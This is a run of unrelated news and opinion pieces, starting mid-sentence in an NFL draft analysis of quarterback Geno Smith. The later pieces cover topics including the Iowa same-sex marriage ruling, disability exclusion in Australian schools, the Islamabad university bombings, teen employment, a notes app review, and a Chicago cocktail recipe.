second overall pick and being the future of a franchise? All statistics are courtesy of SecondRoundStats.com unless otherwise noted. Looking at his career at West Virginia, the answer seems to be a no-brainer. He improved each year as a starter and finished his senior campaign by completing 71.4 percent of his passes for 4,205 yards with 42 touchdowns and six interceptions, according to Sports-Reference.com. Critics could say his completion percentage was inflated from West Virgina's reliance on the screens and short passes. That criticism isn't unwarranted as almost 30 percent of Smith's passes were screens, which is almost 13 percent more than the average quarterback. He quieted those criticisms by showing accuracy all over the field, especially on mid-range throws. After taking dropped passes out of the equation, Smith completed 64 percent of his 11- to 20-yard passes, which is four percent higher than average. Smith is more accurate than the other top-tier quarterbacks in this year's draft. Only North Carolina State's Mike Glennon comes close to matching his accuracy, but Smith has a higher percentage in almost every yard range. In addition to Smith's accuracy, he is also mobile, which head coach Bradley said (via Michael David Smith of Pro Football Talk) he wanted in a quarterback. Smith showed off his speed and athleticism at the scouting combine in February, where he ran the fastest 40-yard dash (4.59) among quarterbacks. His game isn't without faults, though, which causes some to question him as a top pick. The biggest concern is Smith's lack of production while lining up under center. Although he completed 80 percent of his passes out of shotgun, he completed just 33.3 percent of passes from under center. This could be a product of the system he ran in college, but the issue could also follow him into the NFL. It is something that could be coached, though. He also had an extremely low average distance of passes, which is yardage (before YAC) divided by completions. Even though he had a high accuracy in mid-range throws, he rarely threw the ball that deep. His passes traveled 4.69 yards on average, which is the lowest (per SecondRoundStats.com) of any of the draft's top quarterbacks. Smith's positives seem to outweigh his negatives, and he could become a franchise quarterback with the right coaching. Jacksonville has to be sure he will become one to use the second-overall pick on him, and he looks to be worth it. If the Jaguars look elsewhere at No. 2, the most realistic possibility would be a speed rusher who could fill the LEO role in Bradley's defense. Oregon's Dion Jordan, LSU's Barkevious Mingo and BYU's Ezekiel Ansah would all fit the position and are talented enough for the Jaguars to draft in the first round. If Jacksonville passes on Smith, the Jaguars would have to add a quarterback with the top pick of the second round. If they wait any longer, none of the quarterbacks are guaranteed to be available at their next pick. History also shows it pays off to take a quarterback high in the draft, as 12 of the last 16 Super Bowl-winning quarterbacks were drafted within the first 60 picks (including Steve Young in the 1984 supplemental draft). So, is Smith the first piece of Jacksonville's puzzle? In a league as quarterback-driven as the NFL, the answer has to be a resounding yes. -(CNN) -- The Iowa Supreme Court unanimously rejected a state law Friday that banned same-sex marriage, and opponents wasted little time in pushing for a state constitutional amendment that could send the issue to voters. Larry Hoch, left, and David Twombley, one of six couples that filed suit, celebrate Friday at a news conference. But nothing could dampen the spirits of the six same-sex couples who shouted and clapped at a news conference held by Lambda Legal after hearing the court's opinion. Lambda Legal bills itself as the nation's oldest and largest legal group working for the civil rights of gays. Two by two, the excited couples -- some with children -- spoke at the briefing. "Good morning, my name is Kate Varnum, and I'd like to introduce you to my fiance, Trish Varnum. I never thought I'd be able to say that." Dawn BarbouRoske told the group, "We're proud that our kids will be able to grow up knowing their family is respected." Her daughter added: "Hi, I'm McKinley, and I'm really, really happy. I feel that my family has always had this right, and today it is true. No longer shall we be just people who aren't allowed to be married. We are able to get married." Lambda Legal filed the lawsuit against Polk County's former recorder on behalf of the six same-sex couples. "This is a great day for civil rights in Iowa," said former Iowa Solicitor-General Dennis Johnson, a co-counsel with Lambda Legal. "Go get married. Live happily ever." The court's decision becomes effective in 21 days, and county recorders then will be required to grant marriage licenses to same-sex couples, Lambda senior staff attorney Camilla Taylor said at the news conference. "You do not have to be an Iowan to seek a license here," she said, and Iowa should recognize same-sex marriages from other states. Iowa will become the third state in the nation to allow same-sex marriage, after Massachusetts and Connecticut. Not everyone was pleased. "It's, quite frankly, a disaster," said Brian English, a spokesman for the Iowa Family Policy Center, a nonprofit research and educational organization committed to strengthening the family. "Obviously, we're extremely disappointed," he said. "We're saddened. Perhaps a little bit surprised in the unanimous decision that the court handed down." English, who said opponents of gay marriage prayed outside the courthouse Friday as they awaited the court's decision, already has begun lobbying the legislature for an Iowa Marriage Amendment. "It (the proposed amendment) will be very brief. It will reaffirm in the state constitution that marriage is the union of one man and one woman," he said. "We're beginning the next step in the process." A spokesman for One Iowa, which supports gay and lesbian equality, said the earliest the issue could get on a ballot would be 2012. Friday's decision upheld a 2007 ruling by a lower court that Iowa's 1998 law limiting marriage to heterosexual couples went against the state's constitution. The state's highest court determined that "the Iowa statute limiting civil marriage to a union between a man and a woman violates the equal protection clause of the Iowa Constitution," court spokesman Steve Davis said in a written statement .Read PDF of court ruling "The decision strikes the language from Iowa Code section 595.2 limiting civil marriage to a man and a woman. It further directs that the remaining statutory language be interpreted and applied in a manner allowing gay and lesbian people full access to the institution of civil marriage," the statement on the court's Web site says. The Iowa Supreme Court said it has the responsibility to determine whether a law enacted by the legislative branch and enforced by the executive branch violates the Iowa Constitution. "The court reaffirmed that a statute inconsistent with the Iowa Constitution must be declared void, even though it may be supported by strong and deep-seated traditional beliefs and popular opinion," the court said. Polk County District Judge Robert Hanson earlier determined that the law violated the state constitution's guarantee of equal protection and hurt gay and lesbian couples "in numerous tangible and intangible" ways. "Civil marriage in Iowa is the only gateway to an extensive legal structure that protects a married couple's relationship and family in and outside the state," Hanson ruled in Des Moines. "Iowa reserves an unparalleled array of rights, obligations and benefits to married couples and their families, privileging married couples as a financial and legal unit and stigmatizing same-sex couples." The case was joined on appeal by several state lawmakers who opposed Hanson's ruling, calling it "a mockery of the judicial system." They argued that the ruling stepped on the state legislature's authority by using the courts "to effectuate fundamental changes in public policies regarding marriage." At the news conference, Jason Morgan, who was with his partner, Chuck Swaggerty, said they had been together nearly 12 years. "We've been together in sickness and health, through the death of his mother, through the adoption of our children, through four long years of this legal battle," Morgan said, choking up. "And if being together through all of that isn't love and commitment or isn't family or isn't marriage, then I don't know what is." All About Gay and Lesbian Relationships • Des Moines • Same-Sex Marriage -Children with disabilities are frequently discriminated against in Australian schools. It has been an ongoing issue for years, with reports showing that little has improved since 2002. Exclusion practices – dubbed “gatekeeping” – include: advising parents to send their child to another school that could better support them; allowing a child to attend a school only on the days that funding is available; and asking parents to pay more so the school can employ support staff or purchase equipment. Although this happens across all school types, it tends to be more prominent in, and easier for, non-government or private schools. As these schools compete for enrolments and top exam results, there is a disincentive for them to take any risk that might dilute those results. Unlike public schools, private schools are not required to run open enrolment processes. Their charter is to provide schooling of “choice”, not to provide for everyone. Because of this, the exact size of the gatekeeping problem is unknown. While government schools receive some extra funding from the state to support children with learning difficulties and disabilities, private schools aren’t entitled to this. This has led to the over-representation of students with a disability in government schools, particularly those in disadvantaged areas where parents have fewer options. Over time this leads to a significant burden within some schools, adding to teacher stress and negatively affecting their wellbeing. The concentration of students with additional support needs also impacts other students. The less diversity there is within schools, the less opportunity there is for students to learn from one another. This is the case for abled and disabled students alike. Which children are most affected? Parents with a child who has learning difficulties or a disability find it hardest to enrol their child in a suitable school. Research shows that children with severe social, emotional or behavioural disorders are the least welcome of any student disability group. This is usually due to a lack of resources, impact on other students and parental disapproval. They are also over-represented in government schools. Some schools are more open to enrolling extremely high-functioning students with Autism Spectrum Disorders because of their strong academic abilities. However, their difficulties in social communication are often ignored. This increases their exposure to punitive responses such as expulsion. How do schools get away with ‘gatekeeping’? Australian discrimination law – which includes the 1992 Disability Discrimination Act (DDA) and the 2005 Disability Standards for Education – is designed to ensure that children can’t be denied enrolment in any public or private school on the basis of their disability. While all schools must adhere to these standards, due to a lack of knowledge about their responsibilities under the legislation, some schools have developed ways to get around this. As part of their enrolment application process, some private schools request copies of prospective students’ NAPLAN (literacy and numeracy) results. The reason given is often innocuous, such as using the results to determine class placements and support availability, but there is also a high likelihood that a child with a poor NAPLAN record will not be offered a place. Since there is no transparency or oversight of private school admission processes, parents have little recourse. This is unconscionable given that parents are required to pay considerable application fees and may have done so at a number of schools. Private schools may also employ a student interview process and some require children to sit academic entrance tests. In the government school sector, catchment boundaries are used (sometimes selectively) to deny enrolment to children with additional support needs. These are all formal processes, advertised on websites and school prospectuses. But there are many more informal practices designed to present barriers to the enrolment of particular students. The practices used These informal practices are more insidious and involve school personnel quietly advising parents that their children would be better supported and happier in another school. Another common practice is limiting the time that the child spends in school, either through partial enrolment (allowing the child to attend school only on the days that funding is available) or informal suspension (regularly calling the parents to pick up the child during the day). Other practices include pressuring parents to accept a place in a separate support class or special school, or requesting parents to pay an additional “contribution” to enable the school to employ support staff or purchase equipment. What can be done? The ongoing plight of many disabled students highlights the need for more support for classroom teachers and better resourcing of the school sector more broadly. This is what the Gonski disability funding, which was meant to begin in 2016 but has recently been delayed again, was designed to achieve. Allocating government funding to both private and public schools to support students with a disability will help to address gatekeeping, so these students receive a fair go regardless of which school they attend. An overhaul of the disability discrimination complaints process to protect children’s and parent’s rights is also well overdue. Gatekeeping can only occur in a system where schools and systems are relatively confident that they will get away with it. Despite multiple inquiries, all saying the same thing, gatekeeping against students with additional support needs continues unabated, which suggests that current protections are inadequate. • This piece is part of a three-part series on Disability Discrimination -ISLAMABAD: On fourth day of the military operation in the lawless tribal region of South Waziristan, two bomb blasts went off at a university in Islamabad on Tuesday that left seven people dead and nearly 30 injured, officials said.Eyewitnesses and police officials said that one attacker struck at a women���s cafeteria of the International Islamic university campus while another bomber blew himself up at the law department of the university.The blast at the cafeteria left bits of flesh splattered on the floor with shattered window panes. The second attack took place in the Islamic law department. At least 29 injured have been shifted to the nearby PIMS hospital in the federal capital where several of them are said to be in critical condition. The injured included 14 girls and four of them are said to be in serious condition. The International Islamic University Islamabad (IIUI) has more than 12,000 students, nearly half of them women. Students from around the world attend the university, with most taking Islamic studies.Interior minister Rehman Malik said that six people were killed ��� two suicide bombers, two men and two women while a senior police official Rana Akmar Hayat told the media that seven people were killed and 29 injured.���Seven people, including two suicide bombers were killed in the twin-attacks while 29 got injured. Among the dead is one female���, Rana said at the scene of the attack.���Within seconds, the attacks occurred one after another. There were 3,000 and 4,000 students on the campus at the time of the attacks���, said Shandana Butt, a third year law student who saw the attack at cafetaria.TV footage showed women stained in blood being carried out by security officials and fellow students from the cafeteria building.Security at educational establishments had been tightened in response to the recent campaign of violence by militants. In the run-up to the offensive, militants attacked a police station in Peshawar, a United Nations office and the army headquarters in Rawalpindi and three different police facilities in Lahore on the same day.Before the launch of army operation in Waziristan, it was feared that militants would retaliate by attacking civilians to create panic.The government knee-jerk reaction was to shut down educational institutions in Islamabad, Lahore, Peshawar and several other cities for one week. Pakistani forces launched a ground offensive on Saturday to drive out the Taliban and al-Qaida militants from their bases in a tribal region of South Waziristan.To win support of the tribal people, the Army chief Ashfaq Pervez Kiyani, on Monday, wrote an open letter to the Mehsud tribes of Waziristan, saying: ���The operation in South Waziristan was not meant to target the brave and patriotic Mehsud tribes, but aimed at ridding them of the elements who had destroyed peace in the region.������The target of the operation were Uzbek terrorists, foreign elements and local militants���, Kiyani said.The US and other western allies would be uncomfortable over the tactical compromises that Pakistan made with two other Taliban groups in the region controlled by Wana-based Maulvi Nazir, in South Waziristan, and Miramshah-based Hafiz Gul Bahadur, in North Waziristan.Both Taliban groups were blamed for carrying out significant numbers attacks on Nato and US forces across the border in Afghanistan. -Mercedes-Benz previews new CLS' interior Nov 20, 2017, 2:25am ET by Ronan Glon The CLS will make its debut at the Los Angeles Auto Show. Mercedes-Benz has released a second teaser image to preview the third-generation CLS. The next evolution of the original four-door coupe will make its official debut in a few short weeks during the annual Los Angeles Auto Show. The latest teaser image sheds insight into what the model looks like inside. We see a wide color touch screen nearly identical to the one found in the S-Class, and Mercedes' Energizing Comfort technology with five modes including "joy" and "vitality." Although dark, the first teaser suggests the CLS takes Mercedes' design language into a sharper, sportier direction. The front end wears angular headlights that are better proportioned than the ones on the outgoing car and a wide, GT-like grille. We'll have to be patient to find out what the rest of it looks like. The new CLS shares its MRA platform with the current E-Class, according to British magazine Autocar, yet it borrows its engines and tech features from the bigger S-Class. We expect a 48-volt electrical system will come standard on most -- if not all -- variants sold in the United States. Buyers in Europe will have access to four- and six-cylinder turbodiesel engines, but don't expect to see those cross the pond. Mercedes-AMG will make its own version of the CLS with roughly 600 horsepower. It will slot beneath the Porsche Panamera-fighting sedan the sub-division is developing as a four-door alternative to the GT. -I’m stunned by what Senator Jim DeMint says about moral requirements for teachers. Not only is he against gay teachers, but also against single women who sleep with their boyfriends. Not clear what he thinks of those boyfriends having sex before marriage, but they don’t seem to alarm him so much. Here’s how he was quoted in the Spartanburg, S.C., newspaper: DeMint said if someone is openly homosexual, they shouldn’t be teaching in the classroom and he holds the same position on an unmarried woman who’s sleeping with her boyfriend — she shouldn’t be in the classroom. “(When I said those things,) no one came to my defense,” he said. “But everyone would come to me and whisper that I shouldn’t back down. They don’t want government purging their rights and their freedom to religion.” To me, job discrimination against people on the basis of private sexual practices, whether homosexual or heterosexual, is what is truly immoral. Senator DeMint’s first comment plays into larger anti-gay bigotry and the second into anti-women narratives. But there’s a larger point here. So many conservatives focus on morality as a function of personal, private behavior, such as sexual orientation, while ignoring more basic issues of poverty and social justice. And it astonishes me that they seem driven by the Bible, when Jesus was profoundly concerned with social justice and was hostile to nit-picking judgmental codes. There certainly are immense moral challenges in this country, but aren’t they more along the lines of children who don’t get health care? Or school kids who don’t get the same opportunity in life because they go to third-rate inner-city schools? Or kids who are trafficked into a modern version of slavery? Or the need to raise the U.S. contribution to the Global Fund so that fewer people die around the world of AIDS, malaria and TB? Or working more energetically to end the brutal war in Congo and forestall the war that may be coming in South Sudan? It seems to me that there are plenty of genuine opportunities for Senator DeMint to get on his high horse, and I’d love to see him show some moral leadership. But discriminating against teachers on the basis of their private sexual conduct is pathetic and ludicrous — and, in my eyes, immoral to boot. -Maurice Brown has spent the summer doing something that’s increasingly unusual for American teenagers: going to work. Brown, 17, works 25 hours a week as a fry cook at a McDonald’s down the street from where he lives in Holyoke, Massachusetts. While classmates were at the beach or the mall, Brown was learning life skills — how to behave in a professional workplace, how to multitask when the lunch rush started, how not to talk back when his managers criticized him. He said he hopes the experience will help him get a job after college. And though the pay was low, he was able to buy his own school clothes and save some money toward a car. “I was tired of having to wait for my mom and ask her for things,” Brown said. Research has shown that teenagers — and especially teenage boys — who work are more likely to graduate high school, more likely to go to college and less likely to get into trouble with the law. They also gain valuable work experience that can make it easier to get a job and get promoted more quickly in adulthood. But for a variety of reasons — fewer job opportunities, more emphasis on schooling, changing societal expectations — fewer young people are getting summer jobs. In the 1970s, more than half of teens ages 16 to 19 — and nearly two-thirds of boys in that age range — worked in the summer, according to data from the Bureau of Labor Statistics. In 2014, less than a third did so. The drop has been even more dramatic for 16- and 17-year-olds: Just 20 percent of them worked this summer, down from about 45 percent in the 1970s. “If kids don’t work when they’re young, a lot of the behavioral traits that are important just don’t get developed down the road,” said Paul Harrington, an economist at Drexel University in Philadelphia who has studied the youth labor market. “These are the ages when you’re making these huge decisions about where you’re going to end up in life.” New data released by the Bureau of Labor Statistics on Wednesday showed that somewhat more young people worked this summer than last, but their recovery remains slow. Employers are reluctant to hire teens even in the best of times. With unemployment still elevated and plenty of more experienced workers available for hire, companies see little reason to turn to inexperienced and at times unreliable high schoolers. But the decline in youth employment long predates the recession. Harrington said longer-term forces are also at work, such as the disappearance of many low-skilled jobs that were once the core of the youth job market. Reduced high school dropout rates, increased college attendance and an increased focus on student testing have also likely played a role in pushing down teen employment, particularly during the school year. And Harrington said that as more Americans work into their 60s and beyond, there are fewer opportunities for younger workers to get in on the ground floor. The decline in employment has cut across demographic and socioeconomic groups. But low-income and minority teens like Brown, who is black, are especially unlikely to work. Black teens ages 16 and 17 were barely half as likely as whites to work this summer, 11.5 percent compared to 23 percent. And only 11 percent of teens from families earning less than $30,000 a year worked this summer, compared to 21 percent of those from families earning between $30,000 and $75,000, and 26 percent of those from families earning $75,000 or more. The decline in employment among low-income and minority teens is particularly worrisome to economists because these are the ones who benefit most from early work experience. Teens from more affluent backgrounds might be able to make up for a thin resume with family connections, extracurricular experiences or the ability to accept an unpaid internship. Teens from low-income backgrounds rarely have those advantages. But for similar reasons, low-income teens often face additional barriers to finding work. Jobs are scarce in many poor communities, and simply getting to work can pose a major challenge. In Los Angeles, for example, city officials said a food manufacturer recently had more than 100 entry-level jobs available for local teens, but at a facility that was inaccessible by public transit. The city ended up working with the company to provide a free shuttle bus. Other hurdles aren’t so readily overcome. Low-income teens are less likely to have parents who can help them find jobs or navigate the working world once they get them. Nancy Snyder, president of Commonwealth Corporation, a Massachusetts nonprofit that runs workforce development programs for low-income youth, said employers are often reluctant to hire young people without a recommendation. “For low-income teens, this issue of how do you create someone who can help them connect to the labor market and vouch for them becomes really important,” Snyder said. “They’re probably much less likely to have the connections and network that you use to find a job.” Commonwealth Corporation has tried to help close that gap, not just by placing teens in jobs but by running training programs on interviewing, resume writing, workplace behavior and other skills to help teens find and keep jobs. Brown was one of about 5,000 Massachusetts youths who got a job through the program this year. An aspiring architect who hopes to go to Virginia Tech when he graduates from high school next year, he said he’d been looking for a job since the day he turned 17 without success. Now that he has a job, he plans to keep working during the school year in part because his mother will give up her low-wage job to return to school in the fall. Besides the income, Brown said the job has helped him learn to communicate with adults and manage his emotions, even when he thinks he’s being criticized unfairly. It’s helped his organizational skills, too, he said. “Working at McDonald’s, because it’s so busy, I was able to multitask and actually get things done,” he said. -Update on Nov 7, 2018 : Back to OrgMode. Again. What I want Notes app needed. Must support images and attachments. Mobile-first. Absolutely need a notes app that syncs across computer and phone. That’s just how I function. Ideally, there should be a backup option that keeps my notes unlocked if when the app starts degrading a few years from now. when the app starts degrading a few years from now. OrgMode is ideal, but images cause Emacs scrolling to be wonky on the desktop, and recreating agenda mode on the mobile would be a challenge. But glad to see apps like Orgzly take on it. Since my blog and books are already in Markdown, it would make sense to just stick to Markdown for notes as well. What I tried before Evernote sync was so unreliable that I had stopped using it. OneNote wouldn’t let me even create an account (would complain about password, regardless of how small or long, how simple or complicated a password I try) Quiver seemed promising, but the iOS app is still in beta and currently only provides a read-only view to the notes. And it does not support iCloud sync, only third-party sync mechanisms, which is strange for a Mac+iOS app combination. Currently using Apple Notes. The downside is that exporting notes for publishing / sharing is a pain. For example, I can’t copy a note for sharing as text on messaging platforms like Slack, because it loses all the links and formatting. Why Bear app Mac app and iOS app that syncs seamlessly Markdown CommonMark FTW CommonMark FTW Real tags Cross-Note Links (yay, a personal wiki) Web Clipper that converts a web page into Markdown and saves images as well Copy to clipboard as Markdown Export as PDF, image, etc. Privacy – uses iCloud Sync, no servers of their own Backup into an open format called textbundle Beautifully designed app by an Italy-based studio Why not Bear app No web version, esp. to access from my Linux laptop. They are working on it. Long-term availability? I’m glad they have a subscription model, so that they are encouraged to maintain the app, instead of creating an upgrade treadmill ( I’m looking at you, Alfred app [1]). Worst case, they have a really good backup feature, that also exports attachments. Last time I checked, Evernote does a bad job at this. The “export” menu command only exports the text of the notes as an xml file. How can you not include attachments in the backup? [1]). Worst case, they have a really good backup feature, that also exports attachments. No Siri integration, not sure if Apple has provided a Siri “intent” for note-taking though. This is a quick note on why I have started using Bear notes app [1] Alfred now has a Mega Supporter License with lifetime free upgrades. -Getty Images The last time the Broncos won a Super Bowl, the victory may have been influenced at least some by the distraction that former Falcons safety Eugene Robinson provided the night before the game. Robinson has provide the next team the Broncos will face in the Super Bowl with a simple warning: Don’t do the dumb thing that I did. Robinson, who works as an analyst on the radio broadcasts of Panthers games, was arrested the night before Super Bowl XXXIII for soliciting prostitution in Miami. He talked to the Panthers about the incident before the team left Charlotte for San Francisco. “That’s the first time I heard that story. I didn’t know anything about it,” tight end Ed Dickson said, via Joseph Person of the Charlotte Observer. “It says a lot that he would open up and say something about it. Because a lot of people would hold it in and not even talk about that moment. . . . Him being an ex-player, him being in that moment, he wanted to make sure nobody else would be that guy again. That’s huge.” Robinson declined to comment on the speech that he gave to the players, but it was smart for the Panthers to take advantage of the fact that they have a compelling in-house reminder of the pitfalls that can arise during Super Bowl week. -Getty Images Titans running back DeMarco Murray had a miserable game on Sunday, but he says he’s not concerned about it. Murray finished Sunday’s game with 12 carries for nine yards, which concluded an absolutely brutal November for Murray. In four November games, Murray finished with 43 carries for 80 yards, an average of just 1.86 yards per carry. Still, the Titans beat the Colts on Sunday and are in first place in the AFC South, and as a result Murray feels fine about where he is. “I’ve done a lot of great individual things in my career, playing in this league, and [winning], that’s why we all play, why we coach,” Murray said. “That’s all I’m worried about. I’m not worried about stats. Obviously, you want to play better and obviously you’ve got pride about yourself and things of that nature, but, hey, most importantly, we got the win. We’ll all watch film and . . . we’ll make corrections and that’s it.” It remains to be seen how effective those corrections can be. Murray will turn 30 in February, an age at which running backs often slow down. It might just be time for the Titans to accept that Murray is never going to be the player he was in Dallas — or even the player he was in Tennessee last year. -PETALING JAYA - An array of Malaysian political leaders past and present including former foes stood together on Friday (March 4) to demand Prime Minister Najib Razak's resignation from office at a press conference chaired by former Prime Minister Tun Dr Mahathir Mohamad. In an unprecedented show of solidarity across the political divide, civil society leaders and opposition politicians joined their former rival Dr Mahathir to sign a declaration backing his movement to seek the removal of Mr Najib. "We're not here as representatives of parties and NGOs (non-government organisations). We are here as citizens of Malaysia," Dr Mahathir told reporters. "It's not about joining the opposition or joining any particular group. It's about citizens joining together to show support," he said. The signed declaration by a total of 58 representatives on Friday entailed four demands. They included the removal of Mr Najib as Prime Minister through legal non-violent means, the removal of those who acted in concert with Mr Najib, the repeal of laws that violate fundamental rights, and the restoration of institutions whose integrity has been undermined such as the police, Bank Negara, the Malaysian Anti-Corruption Commission(MACC) and the Public Accounts Committee (PAC). Related Story Anwar backs arch nemesis Mahathir's plan to oust Najib Related Story Muhyiddin to stay in Umno and challenge suspension Dr Mahathir had on Monday (Feb 29) quit the ruling Umno party, saying he could no longer stay in Umno because the party had turned into an organisation dedicated to supporting the scandal-plagued Najib. He had also proposed the setting up of a core group to oust Mr Najib, and the Opposition parties had in recent days indicated their willingness to cooperate with the former premier. Among those who were in attendance at Friday's meeting were opposition heavyweights, including Democratic Action Party leader Lim Kit Siang, Parti Keadilan Rakyat Deputy President Azmin Ali and Amanah president Mohamad Sabu. Opposition Parti Islam SeMalaysia (PAS) MP Mahfuz Omar and PAS elections director Datuk Mustafa Ali also attended as concerned citizens, even though PAS had said it would opt out of the core group. The opposition figures were flanked by their old rivals from Barisan Nasional who have been outspoken in their criticism of Mr Najib. They included Dr Mahathir's son and former Kedah Mentri Besar Datuk Seri Mukhriz Mahathir, former Deputy Prime Minister Muhyiddin Yassin, who was suspended from the party last week, and former Malaysian Chinese Association president Tun Dr Ling Liong Sik. Other members of the core group included former Cabinet minister Datuk Zaid Ibrahim and prominent voices in Malaysian civil society, including the leaders of the Bersih electoral reform group Ambiga Sreenevasan and Maria Chin Abdullah. Mr Najib has been under pressure to step down since last year over the scandal surrounding state fund 1Malaysia Development Berhad (1MDB) amid allegations that funds from 1MDB had been channelled into his private accounts. He has said he has not used the funds for personal gain, and has been cleared of any criminal offence or corruption. Dismissing the declaration, the government in a statement said the move by Dr Mahathir and his allies "demonstrated the depth of their political opportunism and desperation". "There is an existing mechanism to change the Government and Prime Minister. It's called a general election. And it is the only mechanism that is lawful, democratic, and fulfils the people's will," the statement added. -GENEVA Turkey attaches a great deal of importance to the security and well-being of Tartars in Crimea and does not recognize the legitimacy of Sunday's referendum in which it voted to join the Russian Federation, Turkey’s parliament speaker, Cemil Cicek, has said. Reminding delegates of the great sufferings that Tatars underwent in 1944 -- when about half of 200,000 Tartars deported from Crimea by Soviet troops died of starvation, thirst or illness -- Cicek said on Monday at the 130th assembly of Inter-Parliamentary union in Geneva: "Turkey does not recognize this unlawful fait accompli." He stressed that Turkey supports the independence, sovereignty, political unity and territorial integrity of Ukraine. Following the results of the Crimean parliament's referendum, which showed that 96 percent of voters favored joining Russia, the region's parliament formally declared its independence from Ukraine on Monday. The referendum is opposed by the peninsula's Ukrainians and Crimean Tatars, which together form up to 40 of the region's population -- 24 percent Ukrainian and 12 percent Tatar. The U.S. and the EU have called the vote "unlawful." englishnews@aa.com.tr -Josh Brook joined the Montreal Canadiens at this year’s NHL entry draft, part of a good second round by the scouting staff. Brook and Joni Ikonen were selected 56th and 58th overall, respectively, and rounded out what was a solid first two rounds for the Habs. Brook was the first of four defencemen selected on the second day of the draft, as the organization addressed its pressing need for defensive prospects. With Mikhail Sergachev being traded to Tampa Bay days before the event, in addition to Noah Juulsen and Simon Bourque graduating to the AHL next season, the pipeline of junior-aged prospects on defence had virtually dried up. With 40 point in 69 games, Brook’s production is very similar to that of Victor Mete’s in his draft-eligible season. Even after his WHL team, the Moose Jaw Warriors, were eliminated from the playoffs, he went on to represent Canada at the U18 World Championship, collecting another two points in five games in Slovakia. Brook will be back in the WHL again next year, and in addition to seeing further progression in his production, it’s also entirely probable he takes on a larger leadership role for his team. Voting The votes were a little bit spread out on Brook, given how new he is to the franchise and the unfamiliarity with his abilities. His range extends from 32 to 14 among the 24 ballots cast. Strengths First and foremost, Brook is a highly capable puck-mover on the blue line, with an assertive style of play that sees him pinching up the ice with regularity to keep the offence moving. He times those pinches well, keeping the puck below the faceoff dots in the offensive zone. He can keep plays alive in the attacking end by using a soft touch pass and shifting his positioning frequently to stay a viable option for teammates, and keep defenders moving to cover constantly shifting lanes. If he decides not to rush the puck up ice himself, he has a solid first pass and will often look to begin a breakout this way. He has some good puck-handling skills, able to deke around defenders in the neutral or offensive zone to help buy teammates time before setting them up for zone entries or scoring chances. His 40 points ranked 23rd among defenceman in the WHL, ahead of players like Juulsen and the newly drafted Cale Fleury. Now with a full year under his belt, it’s expected that those numbers will increase once again, and he could land near the top of the heap for WHL scoring from the blue line next season. Weaknesses One issue, and one that’s common for younger players, is that Brook needs to have a more consistent effort on a nightly basis. He shows flashes of high-end talent, like a great deke to beat a defender on a net drive, but he doesn’t use those abilities as often as someone of his skill level could be doing. Despite his high energy level, and decent skating ability, Brook can sometimes find himself behind the eight ball in one-on-one situations. He is sometimes outmuscled in physical battles, and his recovery speed leaves a bit to be desired. When Brook plays the game at top speed and cuts down decision time with his aggressive play, he is the best player on the ice most nights. It’s when the game slows to a pace he isn’t controlling that difficulty ensues. His transition game, whether it be carrying the puck out or with a breakout pass, suffers a bit in this situation. It goes back to his issues with consistency. As he grows and develops more as a player these flaws are likely to be overcome as well. Projection #25 Cale Fleury Fleury combines offensive instincts with a physical approach to the defensive game. While he isn’t on the same level as Mete in terms of offensive ability, he is more than capable of being a point-producer in his own right. It’s hard to fully project what Brook is capable of, but early indications are that he can be a dynamic defender throughout his career. This upcoming season in Moose Jaw should be one that sees him increase his production and iron out some of his defensive flaws. His aggressive style of play could place him on the radar of Team Canada for the World Juniors either this year or next. There’s a lot to like about Brook, and his presence in the prospect pool is a much needed addition to a group that was dwindling in terms of raw talent. Adding Brook was a good use of a late second-round pick, getting a player with the potential to one day become an offensive NHL defenceman. -They say it’s always 5 o’clock somewhere, but given Chicago’s boozy history, we think it’s fair to say that it’s always 5 o’clock in Chicago. That’s why this summer we’re raising a glass to the Chicago spirit each Friday by sharing original cocktail recipes that celebrate some of Chicago’s most colorful politicians. Belly up to the bar and get a little taste of Chicago’s spirited history. More from this series: New Deal, Old Deal; Blood Sport; Kentucky Colony; How's Harold?; The Man on Five; The Hinky Drink; Lord of the Levee and Mayor Bossy. William B. Ogden (1805 – 1877) Prepare to clutch your pearls, Chicagoans: Our city’s first mayor was – gasp! – a native New Yorker. The upside, though, is that once he was here he used his New York real estate expertise to create a city out of the swampy town of Chicago. William B. Ogden was born in Walton, New York in 1805. He was orphaned young and took over his late father’s real estate business at just 14 years old. When he was sent in 1835 to oversee a purchase in the burgeoning town of Chicago and saw his investment tripled, Ogden’s real estate antennae twitched. He left the seat he had just won in the New York state legislature to put down stakes in Chicago. That keen business acumen is what got him on the committee that officially created the city of Chicago in 1837, and he was elected the new city’s first mayor. Ogden believed that business and government could, and should, exist in harmony. He raised taxes so that sidewalks, streets and bridges could be built. When that wasn’t enough, Ogden and his investors (many of whom were New Yorkers themselves) paid out of pocket for what they could. Ogden’s most lasting contributions to the city did not come from his 10-month tenure, but his later real estate developments and railroads, including the Illinois-Michigan Canal and the Galena and Union Pacific railways. He also literally put Goose Island on the map when he directed the dredging of a canal through a bend in the North Branch of the Chicago River to provide a straighter path for boats, thereby creating an island that would later lend its name to one of Chicago’s best-known beer purveyors. He even designed one of the city’s trademark moving bridges himself – a pontoon-float swing bridge at Clark Street. But Ogden was ultimately a businessman, and he did have a ruthless side. He mercilessly evicted tenants from his land purchases and used the Illinois-Michigan Canal to dispose of harmful waste from his own properties. You didn’t think Chicago’s first mayor was all sweetness and light, did you? Still, his misdeeds were forgiven when the Great Fire of 1871 leveled the young city. Ogden lost all his properties in the fire, including his family home. When he received news of the disaster, he took an express train from New York to grieve with the rest of the city. Afterward, Ogden returned to New York, where he remained until his death in 1877. The Chicago Tribune wrote of him: “No one else in the history of the city better understood its prime commercial position, and no one did more to influence the world to appreciate it.” For the Swing Bridge, we pay tribute to the late great railroad tycoon by starting with a drink named for the men who worked on locomotives: the Boilermaker. (And what’s more Chicagoan than a shot and a beer?) The beer in this case is Goose Island’s Matilda Belgian ale, and the shot is Chicago’s own Koval Oat whiskey. We add spiced syrup to sweeten the affair. The Swing Bridge swings both ways – you can serve it separately as a shot and a beer, or combine the shot and beer as a cocktail. Cheers! Swing Bridge 1.5 oz. Koval Oat Whiskey 8 oz. Goose Island Matilda 1 oz. spiced syrup Cherry garnish For a cocktail: Combine the whiskey and syrup together with ice in a cocktail shaker and strain into a glass. Top with Matilda and stir gently. Garnish with a cherry. For a shot and a beer: Pour syrup in glass, top with Matilda, and stir gently. Serve with whiskey shot on the side. Sign up for our morning newsletter to get all of our stories delivered to your mailbox each weekday. More from this series: Classic Chicago Cocktail: New Deal, Old School July 1: This week, we raise a glass to five-time U.S. Congressman and two-time U.S. Sen. Paul Simon, the O.G. hipster of the Senate, with a new twist on an old-school cocktail. ​Classic Chicago Cocktail: Blood Sport June 24: 